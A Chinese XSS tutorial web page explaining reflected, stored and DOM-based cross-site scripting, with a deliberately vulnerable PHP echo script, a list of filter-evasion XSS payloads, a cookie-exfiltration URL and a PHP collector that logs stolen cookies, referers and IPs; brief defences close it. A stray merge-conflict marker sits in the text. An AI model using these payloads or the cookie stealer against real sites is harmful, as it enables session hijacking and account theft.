简介:XSS%E8%B7%A8%E7%AB%99/#_1" title="Permanent link" style="box-sizing:inherit;-webkit-tap-highlight-color:transparent;text-decoration-line:none;word-break:break-word;transition:color 250ms ease 0s, opacity 125ms ease 0s;display:inline-block;margin-left:0.5rem;opacity:0;">¶
XSS(跨站脚本攻击)攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
漏洞原理实例:¶
对于用户提交的数据没有,后台或者JS(DOM型)没有做过滤或过滤不完全,将用户输入的信息打印出来,那么用户就可以构造特定的payload来在前端执行js语句,就造成了XSS跨站脚本攻击,下面为大家演示最简单的xss漏洞。
后端代码(xss.php):
<?php $id=$_REQUEST['id']; echo $id; ?>
我们把它保存在我们网站的根目录,如果用户构造如下payload,就会产生弹窗:白泽Sec
http://127.0.0.1/xss.php?id=<script>alert("白泽Sec")</script>
当然弹窗并没有什么危害,但如果用户访问的是如下url,那么就会将用户的cookie信息发送给攻击者
http://127.0.0.1/xss.php?id=<script>window.open("http://127.0.0.1/cookie.php?cookie='+document.cookie+'")</script>
这就是最简单的xss跨站脚本攻击了,黑客只需要构造好url诱使用户点击,如果用户访问了该url,那么了你的cookie就会被发送到黑客的服务器,黑客就可以使用你的身份来登录网站了,危害可想而知。
漏洞分类:¶
反射型:¶
注入的JS脚本是一次性的,不会存在于网站上,只有用户点击了特定的url后才会触发,例如上面的示例,代码:http://127.0.0.1/xss.php?id=<script>alert("白泽Sec")</script>
,只有用户点击才会弹窗,否则不会触发
存储型:¶
注入的JS脚本是保存到网站服务器端的,比如将<script>alert("白泽Sec")</script>
当作用户名保存到网站上,如果网站没有进行过滤,那么每当有人浏览到你的用户名,就会触发JS代码
DOM型:¶
和反射型XSS较为类似,不过DOM型注入的JS脚本不经过后端的处理,也正因为如此,才和反射型xss区分开,下面举个例子讲解DOM型XSS漏洞
HTML代码:
<html> <head> <title> 白泽Sec </title> </head> <body> <script> window.onload= function(){ var p=document.getElementById("p") var Text=document.getElementById("text1"); var Btn=document.getElementById("Btn"); Btn.onclick = function(){ p.innerHTML = Text.value + "<br/>"; Text.value="" }; } </script> <p id="p">白泽Sec</p> <input type="text" id="text1"/> <input id="Btn" type="button" value="提交"/> </body> </html>
在这个页面中,我们输入的数据是由前端的JS脚本控制的,直接输出在了标签p中,那么如果我们输入的值为<img src=11 onerror=alert("白泽Sec")>
,那么会直接输出从而产生xss漏洞,如下图
漏洞检测:¶
在可以提交数据的地方插入测试弹窗的代码,如果成功弹窗,即存在xss漏洞,实际情况中会存在很多情况,例如我们插入的代码输出在其他标签中,我们就需要先闭合这些标签,也有的地方会有过滤,但是有可能过滤的不完全,也会造成xss漏洞,就需要我们不断地测试。
给出一些常用的代码:
<script>alert(xss)</script>
<script>alert(/xss/)</script>
'><script>alert(xss)</script>
"><script>alert(xss)</script>
<scr<script>ipt>alert(xss)</scr</script>ipt>
<ScRiPt>alert(xss)</ScRiPt>
'><ScRiPt>alert(xss)</ScRiPt>
"<ScRiPt>alert(xss)</ScRiPt>
<javascript:alert(xss)>
' onfocus=javascript:alert(xss)>
"> <a href=javascript:alert('xss') > xss</a>
"> <a HrEf=javascript:alert('xss') > xss</a>
<img src=1 onerror=alert(xss)>
<Img src=1 onErrOr=AleRt(xss)>
<IMG SRC="" onerror="alert('XSS')">
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
<svg><script>alert(/1/)</script>
<script>alert(xss)</script>
针对waf等过滤拦截自行FUZZ即可。
漏洞利用:¶
这里给出简单的利用代码
xss.php
<?
$cookie=$_GET['cookie'];
$referer=$_SERVER['HTTP_REFERER'];
$ip = $_SERVER['REMOTE_ADDR'];
$file=fopen('cookie.txt','a');
fwrite($file,"地址为:".$referer."\r\n"."cookie为:".$cookie."\r\n"."ip为:".$ip."\r\n"."****************************************"."\r\n");
fclose($file);
?>
<<<<<<< HEAD
将上面代码保存为你的网站页面,例如:127.0.0.1/xss.php,在可能出现xss的地方使用标签插入你的链接带上?cookie=document.cookie就可以了。
常见场景:¶
搜索框,个人信息栏等需要用户提交数据并返回给客户端的地方。
漏洞防御:¶
WAF拦截敏感字符
Filter,代码层面过滤敏感字符
htmlspecialchars()
Httponly
- 上一篇:任意文件下载漏洞
- 下一篇:基础漏洞系列——SQL注入漏洞详解
猜你还喜欢
- 07-08九年专业安全团队承接渗透入侵维护服务
- 08-06SQLMAP的注入命令以及使用方法
- 08-03白帽故事汇:网络安全战士从来不是「男生」的专利
- 07-27编辑器漏洞手册
- 07-12web安全之如何全面发现系统后台
- 02-22常见Web源码泄露总结
- 07-25网站后台登陆万能密码
- 07-23破解emlog收费模板“Begin”
- 03-21黑客如何破解wifi密码
- 01-12批量检测SQL注入
- 最新文章
- 随机文章
-
- 技术讨论 | 在HTTP协议层面绕过WAF
- Web应用程序防火墙(WAF)bypass技术(三)
- 路由器漏洞挖掘之栈溢出入门(一)
- Java反序列化漏洞总结
- thinkphp 5.x漏洞分析
- 利用分块传输吊打所有WAF
- 详细讲解 | 利用python开发Burp Suite插件(二)
- Web应用渗透实验策略与方法论研究
- 利用Thinkphp漏洞传播的Mirari新变种分析
- 技术分享 | 多种测试HTTP身份验证的方法
- ES文件管理器现严重漏洞,建议用户及时更新
- VPN如何提高您的安全性和隐私
- 命令注入新玩法:巧借环境攻击目标
- 浅析端口扫描的几种方式
- Sitadel:一款功能强大的Web应用扫描器
- FourAndSix2.01靶机渗透
- 活活将黑产搞崩溃的教务系统,你的母校可能在列
- 挖洞经验 | 如何利用postMessage窃取编辑用户的Cookie信息
- 对 XSS 的一次深入分析认识
- Java Web安全之代码审计
- 热门文章
-
- 九年专业安全团队承接渗透入侵维护服务
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- Emlog黑客站模板“Milw0rm”发布
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑客怎样简单入侵别人手机,黑客是如何入侵手机的?
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
- 文章标签
-